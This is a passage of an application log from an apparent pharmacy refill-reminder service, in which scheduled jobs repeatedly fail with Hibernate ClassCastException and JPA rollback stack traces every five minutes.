org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 09:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 09:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 09:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 09:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 09:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 09:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 09:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 09:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 09:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 09:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 09:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 09:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 09:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 09:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 09:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 09:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 09:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 09:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 10:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 10:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 10:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 10:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 10:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 10:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 10:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 10:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 10:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 10:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at 